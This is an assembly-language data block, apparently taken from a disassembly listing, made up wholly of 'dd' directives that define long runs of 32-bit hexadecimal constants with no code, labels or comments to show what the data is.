		dd 0A7E3FCA5h, 711F2717h, 534CE78Dh, 0ED9D2D89h, 22B6B4D2h
		dd 0C1AC4D4Bh, 7550B217h, 0D56E2A13h, 14408A01h, 552B5F03h
		dd 0BCC1A954h, 9D469813h, 0B8547CEAh, 0B80ABFC1h, 86B9282Bh
		dd 27F6359Eh, 73101F49h, 1E003C9Dh, 0A63E6C0Bh,	3B03E7C8h
		dd 2100D9C0h, 4731F214h, 78BC96E0h, 981A5569h, 500E997Fh
		dd 7CF963h, 0D5F7903Ch,	9FB4AEBBh, 965F3E13h, 59E075B6h
		dd 10E811A5h, 0F8018571h, 3DD1CB81h, 192140DEh,	2FEF292Eh
		dd 92005F6Ah, 38D464E4h, 11258509h, 9EFD6E06h, 0EC25DCCBh
		dd 25AFCEF9h, 17CCB6CBh, 1D254790h, 0AD972203h,	711D5C1Ch
		dd 0BFC115Dh, 1D25C1F9h, 0F9E4752Ah, 0A402A9F3h, 9A1BDFE5h
		dd 5099410h, 0D7E1A589h, 0B3602EC6h, 764E92h, 0FF4786ABh
		dd 0F2692041h, 0F4783400h, 8B15F750h, 12BD209Dh, 0FFCF5F4Ah
		dd 808A9A5Fh, 92CB96FDh, 0B01E02F3h, 8EE9B314h,	0ED2FF956h
		dd 0D05FC7F2h, 9F0D283Ah, 1BE6AA12h, 0C1252CC7h, 0E9E008E6h
		dd 5E0BACB2h, 0D9140152h, 0EF803DE6h, 0AFD51D58h, 0C1012CECh
		dd 49381060h, 312E92F6h, 0DE895131h, 96A890DEh,	0A9261FEh
		dd 77B79004h, 7FFD6050h, 3FEDD620h, 8092661Dh, 1089D632h
		dd 0F0A29061h, 0DCD23DDAh, 3EE000A6h, 35B78434h, 871D1140h
		dd 65E0A0A4h, 2D9A4BB5h, 68D0FBF0h, 0E556A20h, 67DC1EBFh
		dd 4052E132h, 512971A2h, 0B9FE7E60h, 0EC56BBC2h, 0C0209761h
		dd 0DF32D381h, 43ADEF95h, 3A5A7383h, 96097F6Eh,	4D712CEEh
		dd 2309EAA4h, 8F117119h, 0BD436053h, 250430D1h,	28CAD981h
		dd 0B47CF8F8h, 0D624DCE6h, 41000799h, 2982FB59h, 1E149714h
		dd 4CB6764Ah, 96229A4Bh, 0B89D61B0h, 2E19205Ah,	0C610504Eh
		dd 0AA574EC4h, 53C05ED7h, 1DA27EA8h, 47C9F1C2h,	0A1EB59D1h
		dd 0F16CEF46h, 11CA2A58h, 10D834A3h, 80C9C1DCh,	0E94182D8h
		dd 45840E06h, 0B21DB80Eh, 7C374274h, 0EA04DE10h, 3D1ED6DEh
		dd 891ED4E2h, 31A0053h,	0B935A505h, 0CD2A1A97h,	13E0E91Ah
		dd 8E48B9F3h, 9EB7127Eh, 0C0E27B25h, 0F35C0C00h, 312BBDA0h
		dd 46113E09h, 2D2A73B6h, 0B5C0046Dh, 267646D1h,	60687733h
		dd 74E3328Ch, 0B54239h,	0F3E4BF2Ch, 4B5F1EA8h, 0BB52989Ch
		dd 0E4A93509h, 5EBAD512h, 8B5089D3h, 9077321h, 0E8D79334h
		dd 0ECF0276Bh, 0CA0055E1h, 0B797E517h, 92DFAEDh, 9C7F83B5h
		dd 0C042C600h, 0FF1C6A5Fh, 13FFD98Bh, 7CBD1605h, 0EA00CBE8h
		dd 9997B771h, 9F5FEDDAh, 0B1956446h, 0E8120DA9h, 0EE58A190h
		dd 387EFE00h, 640DB737h, 8CC2025Fh, 6033DC1Ah, 0E1085F6h
		dd 0E1F48004h, 8D4A8161h, 0B0EA24E9h, 8C22F398h, 699DFC06h
		dd 5B5CD361h, 8270E609h, 9206D37h, 25501088h, 2E80DA62h
		dd 0B42F50C6h, 8261733Bh, 99CE6FD7h, 91CC5C28h,	0C1FC25AFh
		dd 368156BAh, 5BA729F7h, 80B32FF8h, 0C2AEC128h,	0CBC5CF20h
		dd 3302B25Ch, 1A20A59Dh, 2B03EBFEh, 96D18BC8h, 0E93240BAh
		dd 1E39495h, 0A6B6FA8Ch, 711897F0h, 0CAD52F7Fh,	16C09EBh
		dd 0FC25AC71h, 0D65E28Dh, 78190F8Eh, 0B1482EDFh, 0AD34B517h
		dd 34E984E9h, 8C4A80A2h
		dd 0F995FE82h, 0E2F99256h, 101B22A4h, 1175CB80h, 3A6625A1h
		dd 5D8390D8h, 0CCFF6825h, 82D2F88Dh, 1FDAC301h,	57C06EEBh
		dd 71A183BBh, 3E6E956Ch, 41074D9Fh, 20D2CF60h, 0C88B0555h
		dd 135F50F5h, 52ECB961h, 28566F66h, 0CCEAFC58h,	8316D07Dh
		dd 686FFCE1h, 0F5BA0D00h, 3D2A4D92h, 8A47AB0Bh,	70197BFCh
		dd 370075A8h, 4EA4A5EAh, 4A2BA990h, 19A682C0h, 0C325BA05h
		dd 0BFA1001h, 0B3258D9Dh, 23623C2Bh, 68ED9D2Dh,	9AF9BDA9h
		dd 781FB36Ch, 0CD4BD0A1h, 708018FCh, 0D5C9E688h, 32D2B312h
		dd 0C100EAF2h, 79111BFFh, 72126838h, 48E13F0Eh,	80F6DE3Eh
		dd 0D992E96Eh, 0BFB80260h, 18B6AD7Bh, 0AEBE9479h, 4A38630Fh
		dd 0FC7073A6h, 4E7D12C4h, 2553018Fh, 0D438AAF1h, 0C8B75AD0h
		dd 42399574h, 66DD4A2Fh, 0D0A8C039h, 76F42605h,	0FED08AC1h
		dd 9727AADBh, 0E2AD6E15h, 5084DF91h, 0C3D8BA0Bh, 0FAD33971h
		dd 0DF073503h, 5097021Dh, 67835DB7h, 2AB2270Bh,	8916582Ch
		dd 282E5FFDh, 4FD6716Dh, 84B806EDh, 37918F02h, 0D0424EE6h
		dd 8A0640D7h, 61B3FD4Ah, 12311A64h, 0C26A67EAh,	59092791h
		dd 0FD6DAFA9h, 0E1FFF4C0h, 91BD4B89h, 0C9950900h, 84CE2A17h
		dd 0EA03D512h, 3A00F97Ah, 0C1736184h, 1497C41Dh, 9F03F8B3h
		dd 0E4097EBDh, 44CD71D5h, 0C7814361h, 54CAC131h, 0C1680D2Ah
		dd 0B2162BF3h, 47E0CFE6h, 37023A1Dh, 0BD2960C9h, 84AF111h
		dd 611216F9h, 4D43AAE1h, 0A9B9DCD8h, 0A51A172Eh, 0AE00F1B7h
		dd 36BF7DF1h, 35CF25CEh, 0A53B745Bh, 0BB9DCEDFh, 7FC5500Eh
		dd 7DCAE09h, 37C3231Ch,	0FC56EA15h, 240442F0h, 0DC3456h
		dd 45FB4AFFh, 7F8693F5h, 5C48B969h, 203101Fh, 173DD68h
		dd 11E589DEh, 332E6091h, 0C69D517Ah, 221C886Ch,	10ED1D90h
		dd 9E8289h, 0C4C75C7h, 20466332h, 0E42EC400h, 53170830h
		dd 9DA24A33h, 0F9A2AB7h, 846EFC83h, 70BE7FA9h, 3141E1E2h
		dd 8265352Bh, 387F12E6h, 1B2DB5Eh, 0B40CEEB6h, 4807453Dh
		dd 6F49E9AEh, 0F5275011h, 558B2D4Bh, 823B9A5Ah,	5CC7B303h
		dd 17476A49h, 0CF3FA912h, 0DE7480D8h, 247C9B8h,	627B5788h
		dd 42601035h, 3A9713DDh, 8C37D541h, 97A0CD00h, 97EA3EC8h
		dd 1605F18h, 254B7DEEh,	812E3589h, 227E9C9Ch, 0B4E75E78h
		dd 6ADF1EA0h, 67BE4E03h, 173E88B8h, 0B60851D8h,	0E0AD006Dh
		dd 5533BCDFh, 28CB00D4h, 2FA3C254h, 75139CDDh, 0A1130693h
		dd 975BE2F4h, 0BB667000h, 50026CBAh, 3B9C62BFh,	4B56F041h
		dd 60658DF5h, 3240E147h, 0F8D40968h, 69278FB7h,	7067F32Bh
		dd 0E9EBF80Eh, 86BFA05Bh, 95858D06h, 3806A43Fh,	20BA6028h
		dd 0B50F30DDh, 7F9061FFh, 4BB86602h, 0CB3074D2h, 1111A77Ch
		dd 0A7E10E0Ch, 6300308Ah, 671F57BCh, 0C174003h,	9091D65Bh
		dd 0CA24CFBAh, 31C1B38Dh, 522FC985h, 0E0ECF622h, 19C14A6Dh
		dd 0ECDE8B52h, 0E5D46A85h, 60B045ACh, 2C09D181h, 8208721Ch
		dd 550655D6h, 4670E61Eh, 0D089F39Dh, 0F1FE8726h, 83019B04h
		dd 0E78256ABh, 0F6E07E37h, 3D3A2EE5h, 0A7382E4h, 122F12Bh
		dd 68493202h, 95EB20ADh, 318027F8h, 527EF58Dh, 8D4EB28Eh
		dd 6F3A4208h, 8A8D00B0h, 0CC8F8998h, 95312E58h,	0B0E71234h
		dd 50521897h, 4CFC4FDh,	4169B7E4h, 0C2F96C2Ch, 55DABF0Fh
		dd 1B91DD35h, 9E02A480h, 41170747h, 0FFB08698h,	801C41D9h
		dd 2961F766h, 972EB9B5h, 45D46E3Ah, 27E35340h, 924F003Eh
		dd 6629F4CFh, 3ACA982Ah, 5F96ADF1h, 32017DA2h, 0E4A40B56h
		dd 8B742E46h, 0E2C6ABBh, 8ECE6814h, 1099B4E7h, 12482229h
		dd 3D0918C0h, 4B7A7A08h, 255EC900h, 67E3136Eh, 0A1F412C7h
		dd 70D18896h, 0F894FD00h, 3FDCC686h, 0EF3D0006h, 8EB6121Dh
		dd 0B417F2E9h, 7F8D510Bh, 0BB3F007Eh, 83730F8h,	0C3E0964Eh
		dd 0B558212h, 59EAF3D0h, 40181Ch, 30216A68h, 0BEE45C0Fh
		dd 0C6DA8B25h, 291F98B1h, 4AD6032Dh, 387CDEF8h,	97D2F338h
		dd 4FB01E70h, 8D5B4BFAh, 0B8846D8Bh, 0F5382594h, 16BC9FC4h
		dd 0E2512DEh, 0DA505E8h, 9809BEF3h, 6BC17107h, 390B0EB5h
		dd 9D9100D0h, 966AB96h,	0EDBD0334h, 0C283E960h,	7836539Fh
		dd 0ED04FE4Fh, 15818D29h, 0CC3FE012h, 0CF84CB4Bh, 5CB825ADh
		dd 2208ABA0h, 0BF8D4D4Bh, 80A0DB3Fh, 27A1C94Ah,	9574041Ch
		dd 0C10B6797h, 409319Ch, 7A4EDAADh, 316B06E6h, 0B05145BDh
		dd 0A2A497B5h, 0F14AB66Ah, 7F709DD7h, 0D211B095h, 0B2E5A64Ch
		dd 0B0403016h, 0FDE1064Bh, 81C02578h, 6242B3DBh, 73F96C4Ah
		dd 65A5BB3Eh, 197104D8h, 0B2038020h, 0E0C4ADBBh, 118D89BCh
		dd 3597C29Ah, 801C9112h, 7FDC06ACh, 89830B3Fh, 931869B0h
		dd 0DF041BBDh, 0FA8AD1C1h, 0E1D320BCh, 1F282E41h, 20138B3Fh
		dd 7E07FCFAh, 83E250F8h, 7F0E8908h, 45C1A792h, 0A66E6F96h
		dd 0B37C0707h, 300CF6Bh, 0EA96F781h, 8B67E829h,	403CED4Bh
		dd 0B5D2BC70h, 4FF38012h, 4E49D4E7h, 1D2F3DACh,	0D0E4E228h
		dd 71019BA7h, 91A1817h,	6015C6C1h, 1910E07Ch, 0B261F513h
		dd 99277F8Eh, 0C0C17EC8h, 0D34E799Fh, 4D228C90h, 1709972Dh
		dd 283DDDh, 78B14A3Dh, 95B89F4Bh, 0CB60BAB1h, 5FDE3FE4h
		dd 0D74B2011h, 4400E27Bh, 0A54AE936h, 1291DC4h,	0FB41683Dh
		dd 0E371E381h, 2F5F46D1h, 0CF2E5729h, 0C016C871h, 0F99BD561h
		dd 0ED9D2B09h, 92757B0Dh, 0D96522C6h, 0B592B5Eh, 8016C970h
		dd 899708E9h, 0C3D86D0Dh, 27F12A5Ah, 0C18BF4C9h, 0C0EB6D95h
		dd 0B833B187h, 0B08D4FCh, 2512F1BDh, 5038F866h,	22C8CA60h
		dd 0FC8800B6h, 81CDB06Dh, 0BF04270Fh, 0ACE9844h, 4166BF8h
		dd 0E09CA624h, 0B985A8Bh, 41560839h, 4BC16A42h,	0E2CB7581h
		dd 8252B757h, 0CC146BE3h, 2795ADE0h, 4BC0DBD2h,	0CF5F9392h
		dd 243E15F4h, 0B028F4DAh, 0B54BDC18h, 25DB9F8Ch, 14E1CF27h
		dd 0DB5AFA29h, 0B42F90B7h, 155A0E86h, 9941FECCh, 2AE40471h
		dd 0C601BAA6h, 5BF98B89h, 5D983B50h, 0C4FE2ABBh, 0DCB7B7BBh
		dd 0BF2B313h, 150AC107h, 992DC03Ch, 1165BE70h, 6AA5857Ch
		dd 590D9034h, 15FCB62Ch, 0B32EAA7Fh, 0D50A8DCBh, 891E2827h
		dd 4AF97115h, 0FB49A5B7h, 29E03FADh, 0BC5C12C7h, 0CF29B09Eh
		dd 0BF20DE00h, 64C2EAD8h, 82989761h, 8C0446BBh,	0D1FF542Ah
		dd 0C02B9BBEh, 0F6EBEFDBh, 0C64019Ch, 9D29E62Ah, 4B902CBDh
		dd 0A32F7E8Ah, 0F380CB3Dh, 0FDD6EFD0h, 8B3305EAh, 0E6026AFEh
		dd 0BC72E073h, 82C60B54h, 4EA2E146h, 4CE2DA8Ah,	1125B555h
		dd 0FB8D8914h, 1817599Bh, 372109DBh, 4851F5F6h,	0F2CF0038h
		dd 6719EC2Ah, 951CFA6Dh, 1F12C8C7h, 26FF253h, 5AD35102h
		dd 1E7ED88Bh, 269E00DCh, 4E1FA8FAh, 9BDE119h, 2506D4E9h
		dd 359FC6CEh, 0FB5B001Bh, 80333754h, 8A49E709h,	0AF7FD1DEh
		dd 0F12567B7h, 0A82E9681h, 772220DBh, 0C49C9F0Fh, 994B8242h
		dd 10D90CF2h, 921C46F6h, 3452FB60h, 9B4ECAF3h, 23ECC272h
		dd 69E35E83h, 218D2602h, 0D3D96A07h, 0B31E78E0h, 85ED6D25h
		dd 0E6E8DEB6h, 30CB55Fh, 0AF848D8Ah, 842B5528h,	9A5BD12h
		dd 2818CF4h, 3A71CF3h, 82D5E673h, 120B4DFEh, 0A5BC6E5Ch
		dd 136EC01h, 0EE434644h, 6BD66AB7h, 47D90188h, 31601F07h
		dd 73AB7516h, 0DFD82C53h, 0E8005CB3h, 9782D179h, 4A4937BAh
		dd 8E48F061h, 8442EBA6h, 2585090Eh, 984EBC32h, 9426F5D6h
		dd 0F1F992F1h, 7BFCC9Fh
		dd 0A0C2654Bh, 0DA25EFEh, 893FB1BDh, 0D40E550Ch, 0E8BBC0D4h
		dd 535C7156h, 0EEF55BABh, 0D2319B60h, 4CA1E1C5h, 2C07BD22h
		dd 0E045FCA0h, 920DACFh, 0AB404B6h, 0AB048909h,	5C32AF09h
		dd 0DF81100Eh, 0E9BFF80Ah, 933B0A57h, 34EEE07Eh, 7A9D3008h
		dd 0A100DF3Bh, 0D892AEDDh, 25EE7599h, 57797F51h, 0B395BB40h
		dd 0C8434E86h, 8E00BF83h, 0F06A0150h, 652F68ABh, 0FA59288h
		dd 0B5E7FE36h, 7ABFDD85h, 9BB7288h, 2509CF35h, 0C508CA7Bh
		dd 512C32DEh, 0F4BD7C2Bh, 105EFA04h, 0E5BD68D6h, 8270DAD6h
		dd 577D584Fh, 93A64A2h,	4026CF7Dh, 9C56ED9Bh, 0A56AC402h
		dd 0FF2A1F24h, 122E9204h, 0FD01E6E1h, 79070725h, 3A702973h
		dd 0B8D9278Ah, 1DE44BC7h, 0A76ABE60h, 5EDCC48h,	14E77DAh
		dd 0C99F81AEh, 0BA5B0108h, 963D5FC2h, 1236780h,	9D090D85h
		dd 0B7BD0536h, 2DDA001Ch, 8451C515h, 37E7F62Dh,	4FCE0084h
		dd 0B5419A22h, 2E388F09h, 0DE1582F9h, 20FBE123h, 5A10BC04h
		dd 0EFA40FA7h, 42A3ECDh, 0AFD1B73Fh, 42D5671h, 0F781010Ah
		dd 5F440AE1h, 4CF2B2Fh,	14498D01h, 25C3EFA4h, 0B2E56CAFh
		dd 0C0DE6817h, 233362C0h, 1A777D78h, 0B5315304h, 64BA0BD1h
		dd 691AC1A4h, 0A5702F0Eh, 3A09FFBFh, 0E12D671Bh, 1EC066CDh
		dd 4DDC589h, 6728C46Ah,	4B2EF872h, 72FA98Ah, 698D38A2h
		dd 0C525D0DCh, 2761398Dh, 2F5BF956h, 88C97328h,	8B660F8h
		dd 0C4C84BDCh, 0DCF1DB84h, 33B600FEh, 3D8D0937h, 13EC971Bh
		dd 8AE67B00h, 0B99C4123h, 0B3250035h, 7C74E5A2h, 0E8953AEEh
		dd 21697D3Bh, 2511066Dh, 0FB12663Fh, 4EFBB3BFh,	978017DBh
		dd 0DAC40C1Eh, 5453AA09h, 9DFE48Fh, 93F4A973h, 36CF3875h
		dd 0A7BA97EDh, 0AF513A73h, 4301BC0h, 0B350E1B9h, 332BA1FBh
		dd 0E8F50090h, 0CDCB5798h, 905E0F7Ah, 922D3D99h, 0B84F2D72h
		dd 973CB82Ch, 6F685AC8h, 7C60E412h, 903D7BACh, 22C87FBBh
		dd 0E88BB34Ch, 0CE222998h, 5FE6B505h, 6BCC810Fh, 8D128683h
		dd 1BD0191h, 0C0C1BCD3h, 0D814DEBFh, 8892977Fh,	3700E03Dh
		dd 2D0C3D25h, 55A10167h, 0E94BB70Ah, 0C1486AB5h, 0BAE08007h
		dd 0E3BD284Ah, 0A109E95Bh, 55F55C5Bh, 0C9A95E07h, 0C2583E60h
		dd 2A85207Fh, 1B62D711h, 258C15B8h, 0ABE62BC6h,	0A9A4BE90h
		dd 64EF6D95h, 83CC6319h, 8AAC895Eh, 16B1AB20h, 0A806897Bh
		dd 2A135538h, 458ADCD8h, 0ABECDB0Ah, 0AAE82831h, 0A476182Fh
		dd 96810179h, 1764F8F7h, 1FA0D059h, 0CAD9107h, 0B7A0303Dh
		dd 1C17437Ch, 3BE35250h, 5F77C25Bh, 78965B02h, 0F62B419Dh
		dd 5C90125Dh, 55246CA0h, 436800E1h, 0DE4527C7h,	0B31FB144h
		dd 0BE031613h, 0E82EC002h, 4A9BB60h, 617491B5h,	1B6BC5Fh
		dd 21D93CBCh, 1DF98956h, 8D5BCF89h, 46D44774h, 6FDD0516h
		dd 2D840F4Ch, 0D613A809h, 0D83DE085h, 0A40069AAh, 0D7E55712h
		dd 144BEC5Ch, 0D450BA33h, 5C6E4E13h, 0ED8DCE18h, 0B5BAE812h
		dd 1E8059DAh, 2A359C9Dh, 51BD0108h, 8C0F0904h, 887F719h
		dd 0ED951089h, 0D612930h, 9592E627h, 35AD05C7h,	3BD7050Ah
		dd 2CFCD25Ah, 704D1C57h, 12BD974Bh, 0D6F77B00h,	5ACF015h
		dd 0A1952914h, 4760BB0Ch, 0E40FC8h, 6143EF03h, 9C88D670h
		dd 8E113607h, 7EA08912h, 0A421E939h, 520A193h, 0EBDBB804h
		dd 0F6FB969Ch, 85950B36h, 71B25615h, 0CC0414B3h, 0A03C23ADh
		dd 6EBB27D2h, 52CD01D6h, 0DD90026Eh, 1729DCE4h,	0DD22B185h
		dd 0FD8492E6h, 60BED652h, 12E5EF33h, 7B048F25h,	0B59D0417h
		dd 0C12B2903h, 8455B7EFh, 0EC19D9Ah, 8B1D72AFh,	51434475h
		dd 122A9A50h, 1C56F2Dh,	0CD23B671h, 533D442h, 7AF03301h
		dd 706C8E63h, 0E205463Ah, 0C4C03821h, 0AE8C7C25h, 602001C2h
		dd 2E0DB1B9h, 0D6A0F7D3h, 7912FE43h, 3BD291Fh, 796ABFD6h
		dd 25B92C00h, 36A8FB0Fh, 642ECDB5h, 0F400671Ah,	25858FB8h
		dd 69E63DBAh, 0F949E690h, 518C4B36h, 786AFE81h,	351B4B72h
		dd 0AC34134Ch, 28A5A057h, 3322007Eh, 0FEF11163h, 8B97441Fh
		dd 4AB8F01Bh, 5AC7E632h, 0A525C56Ah, 2210EDD6h,	3DF9DD4Ah
		dd 2582A8BEh, 0ECC45072h, 780273B7h, 80122725h,	0EBA86AB2h
		dd 629288C0h, 0D4009D66h, 0E15EED33h, 194C217h,	28ADF5D7h
		dd 2B5BF88Ah, 1D23E56Bh, 0EDBD1A00h, 16B3C38h, 0D49E51DFh
		dd 0C6853160h, 501219D4h, 5BCB06FCh, 74CB8A56h,	50FAE223h
		dd 0A6407776h, 1F7E537h, 0B292F890h, 0EAA02DE7h, 0C7AAEEF8h
		dd 28A8BA79h, 85169548h, 7120FEBFh, 25804ABBh, 0B6C637E5h
		dd 0DCF994h, 675849C2h,	0C7FEE962h, 0D78A954Bh,	11DB332Dh
		dd 0A705D8h, 0FEEAF651h, 0BD0BE742h, 5081DD73h,	9DCFDA4h
		dd 797113D1h, 85BFB569h, 0D44B6757h, 0D6CAAC5Ch, 9C6A30B1h
		dd 324BE9B0h, 0E64B6E8Bh, 0A266A138h, 4BEF7A70h, 22438A77h
		dd 0EBBF045Eh, 0AE4F447Bh, 6AAA9874h, 11070059h, 4F9AD8CDh
		dd 9327173Eh, 598809B8h, 0BBC64CA5h, 0A4002A7Ah, 0D50E4830h
		dd 0F6126D92h, 70E28ADEh, 0C9C029D3h, 3FE90004h, 0FCC1A2F4h
		dd 9403DC64h, 0AC4BA77Fh, 99969961h, 0BD19806Eh, 0C189206Dh
		dd 0E5F09F76h, 710B325Ah, 0D08321EFh, 4E09BFBEh, 0BF818259h
		dd 2AD1040Ah, 7BE6E56Fh, 0F480C89Bh, 6AC6A38Bh,	0F8DE84B6h
		dd 0FB8F008Eh, 46BAE428h, 619DA869h, 983F166Eh,	0FD1E9CAEh
		dd 5E00D0E8h, 0B738FEA0h, 56EDBD6Ah, 0FE5C29E0h, 95669D52h
		dd 19950913h, 9800D1F5h, 0B5EB757Ch, 9F78917Bh,	0B180003Ch
		dd 0BCEC1FD6h, 909FD78Eh, 93987FCh, 0F7AF260Dh,	0CD97A770h
		dd 1E7EC0E5h, 0D81722D5h, 0BEAD9D33h, 1FB39000h, 0B525BB50h
		dd 0C837673Ch, 8BB54C62h, 6044766Ah, 8412CB16h,	41A6F900h
		dd 0D2DB6409h, 82F04E4Ah, 375F6A5Ah, 0B2E8945h,	0F7984FE6h
		dd 0CE1ADD25h, 0DA8A2D86h, 0B11ED5Bh, 0AE999301h, 0D46A3016h
		dd 0CB045E37h, 4D8529DAh, 0D12702F9h, 0EC18C6B7h, 8022E148h
		dd 149724B7h, 2B7A9F64h, 0DC8F9Ch, 96369BF0h, 631F339Eh
		dd 0EF81DD02h, 0E1415DB4h, 0C86F0275h, 30001E4Dh, 79134C62h
		dd 9E60871Ah, 72479Eh, 8819F784h, 0F85B4900h, 56605F61h
		dd 49954E23h, 68325E13h, 2BA5CCC0h, 807A6181h, 9E2ABBE1h
		dd 0F261CE2h, 2F3EEA31h, 97CC5232h, 0BA0073B7h,	4CCD5DD1h
		dd 139A2EC4h, 3F4ACA1Fh, 0BB0012A0h, 78F8230Dh,	970CC2E9h
		dd 86206716h, 6B659675h, 0D45EC02h, 0CCAC5204h,	0F37FDFD0h
		dd 120883Eh, 3E8B274Bh,	5A6A5Bh, 74A0B4D1h, 4C443BC9h
		dd 0A45ED0A9h, 12B65000h, 7B83D140h, 8B2C01CEh,	0D392EBDBh
		dd 3512FD6Dh, 18622BADh, 52BDE257h, 0E75F5A78h,	27095E2Fh
		dd 97FA5ADAh, 0DD0AED3h, 2BFB0230h, 8B8D2507h, 1611A854h
		dd 0C9DFFF3Ch, 1D1D6032h, 0DA74284Bh, 16A9A904h, 0EAA304B8h
		dd 4AB02338h, 70E61F30h, 71E427F9h, 0B709E3FBh,	4F0272D8h
		dd 495121CCh, 0BF660104h, 0B6180B6Ch, 21A51AC8h, 16003397h
		dd 260E8116h, 0DE4A5691h, 0F9F9DDC8h, 0DA424DA5h, 0C82BAB60h
		dd 0D11DC7DBh, 0D34480D1h, 0B833C58Ch, 126FD669h, 4D21BE5Dh
		dd 56CA97BBh, 89F501D3h, 2B0E599Dh, 11636F8Dh, 0ABDB8101h
		dd 2B076542h, 811CCD48h, 980A4EBBh, 0F8968630h,	151B4AE9h
		dd 0B8880F60h, 1D15F984h, 35EA6116h, 0CD09AF65h, 0DB31550Bh
		dd 518E4C26h, 0C83B1C45h, 0A5508303h, 8A4AFE21h, 71068AE1h
		dd 6D92D36h, 0F3471A71h
		dd 9B6A1288h, 9B11C08Fh, 30F5861h, 928E9F4h, 0DD01E585h
		dd 31D5CF81h, 752B101Fh, 814FDACCh, 800F3D10h, 0B038F5EEh
		dd 8C007507h, 0DB027B37h, 0E341C0h, 0D865698Dh,	0A3B9FFC2h
		dd 0B797BF9Ah, 587F02DDh, 825799CDh, 56FBAED0h,	7A4D27DCh
		dd 14CC0BC0h, 0E20E023Fh, 999D0319h, 0B303FB5Ch, 4E8E0FADh
		dd 8DADF0ADh, 61802FE4h, 0DC8594FCh, 93EDC60Eh,	0DAA1C0BEh
		dd 0C01BD4A5h, 0E821E7CCh, 2B2DFD8Ah, 0C06BEDC0h, 0D22B3AB8h
		dd 17F3B7B5h, 0CE0130E0h, 29005F51h, 9E5CC9EFh,	9794A8F9h
		dd 70A00F1Eh, 0B3810BF5h, 2CB775C6h, 0E780CF04h, 2030CDAAh
		dd 7EB64E51h, 0BAB7FC38h, 409ADEACh, 6BE5E399h,	8E74663Eh
		dd 0A06AAD0Fh, 2510238Bh, 0E3141760h, 5F84A036h, 9CCFCE95h
		dd 0BD5AD47Dh, 0DD0093E1h, 984583E3h, 12D14B01h, 0B603B226h
		dd 4A955930h, 87AFDB4Ah, 3140BE4Ch, 1EC03920h, 4904BF7Fh
		dd 0C4A96FF2h, 87442959h, 0DB58941h, 0AADB6B33h, 87C01988h
		dd 31937DF3h, 6158C54Eh, 0CA560207h, 1211D610h,	0D6D4B95Bh
		dd 4E56BEAh, 1DAAC45Ch,	5293883h, 0FE1FFDBh, 924B1D81h
		dd 0FA0B2486h, 0B4D388h, 58EC7BC9h, 0CB375C30h,	0A1127CB8h
		dd 48E25B46h, 3E9BF68Dh, 7BD16988h, 0E0530098h,	67C4C45h
		dd 7700032Ch, 0B8519181h, 4B099FC2h, 125B8A7Ah,	7AAB03EBh
		dd 1C2C77F0h, 6B56155h,	35BC2DABh, 57B66EFAh, 0DA82D2F0h
		dd 0F3D33804h, 0D2BD60F8h, 8601E3B8h, 0E91E6A4Fh, 57E033A2h
		dd 865F4BF9h, 8995C1A8h, 0DCFCDE70h, 0F0D7E900h, 716508FEh
		dd 92F54B38h, 0FC90FB8Fh, 0EDBFD8BFh, 601C6471h, 25C8487h
		dd 5BBD10CBh, 7B5C4524h, 33E86065h, 61D6D260h, 7109BF90h
		dd 5023174Dh, 97ED2552h, 12DE4CD4h, 0A81ADF0Eh,	771720E3h
		dd 94CCBB7h, 6804A7E4h,	7AEF320Eh, 0F10E60B8h, 0A6F2F031h
		dd 0F370E07Eh, 0C9ED2DF4h, 0AC00D0C4h, 49B13DC8h, 4AB45B6Dh
		dd 6DB29DF2h, 0E91A8F5h, 0F5395FA1h, 0B055F869h, 40459D60h
		dd 8F5D0F2Bh, 84318ACDh, 70AEE989h, 0F380166Eh,	0DC0D0B43h
		dd 4813FAF4h, 3CEC58EDh, 0D5572997h, 3F00BE3Dh,	0B997D716h
		dd 0C5C7012Eh, 4D8D290Bh, 536705h, 0C151AB7h, 75985h, 16F884B3h
		dd 4676F38Ah, 0C2231D13h, 0C01C6C1h, 25D05B02h,	54868B95h
		dd 9D2950FBh, 0CE02F925h, 91BE908Ch, 68909C5h, 0DCF5DEh
		dd 8938D086h, 0F5E9786Fh, 291DAF93h, 6327558Ch,	0FF044D46h
		dd 50020820h, 0DDFDF5BFh, 4E3D7F1Ch, 0B6DB4880h, 4B6BC0E5h
		dd 1798DF9h, 235593h, 25AC1868h, 63C3A776h, 60A857D1h
		dd 1897F9B2h, 0F195295Dh, 959D9148h, 0BE90EF24h, 0B8D2F723h
		dd 0FE170Dh, 0A9AA98E5h, 73EDA6DDh, 0B1918D5Fh,	0BF0087F5h
		dd 2F20F246h, 15F4D28h,	90B1070Bh, 0B4C0A1CDh, 42A6C97h
		dd 0BA3CD946h, 80E2B86Eh, 0E42DC31Ch, 0C4360E29h, 0B5A47D74h
		dd 803394E9h, 5AC781B6h, 94D7DC49h, 2D611211h, 915960EAh
		dd 1E002C13h, 0F4D1F33Bh, 5D5F07B7h, 0EABD8761h, 204F145Ch
		dd 7591BDB6h, 0BF600076h, 90123F88h, 5A7E61CDh,	0CB0CC638h
		dd 1278F8Bh, 4725FEDEh,	20111CA5h, 59697D96h, 5D8D8437h
		dd 0B2B63B2Ah, 0F01B1920h, 311497DAh, 7620AC45h, 8A3D5293h
		dd 49039BC4h, 52F056B7h, 0D4397Eh, 27B4CE93h, 0FD0FB7F9h
		dd 5CEEA937h, 0E9F65C89h, 0B980E1B5h, 2201D86Ah, 1653254Ch
		dd 8903F764h, 317867FEh, 5C7798CDh, 0C96C168Ch,	4A8AE823h
		dd 43ADB484h, 2455BDC2h, 0EDADFCF9h, 0EBDCC955h, 8D50F9C3h
		dd 5B5BC809h, 1DB30205h, 0CE638D31h, 29DA764Ah,	78C019C8h
		dd 2D2FD9EBh, 45F92CB3h, 7DBD2982h, 0E9CF5C25h,	0BDB2B075h
		dd 0E70C5A29h, 12404812h, 1CE18D4Bh, 0C98E9E2Ah, 7F3D9962h
		dd 6EA6530h, 385A2BF0h,	41208053h, 325B4B23h, 325CF9CAh
		dd 708A5B27h, 0E93B0BA1h, 61C61F35h, 0D0972489h, 990F4B25h
		dd 0E16A2B57h, 6AEEAC00h, 5E8C46B7h, 0A2B08A4Fh, 9C094B41h
		dd 0BD282B5Fh, 0B5123901h, 39B820E1h, 0C0179BB5h, 8BC2ACD6h
		dd 1AD109A1h, 577F0EFh,	38090BBFh, 4BF27941h, 4971AE5Dh
		dd 351773FAh, 24D2BC18h, 19A485F9h, 73546A09h, 1C1B5965h
		dd 28B307EBh, 99CEF88Ch, 260065F1h, 8A5701E7h, 9555097Ah
		dd 3F01CE8Eh, 3E5B02D0h, 29AD4284h, 0A811E9D2h,	11170086h
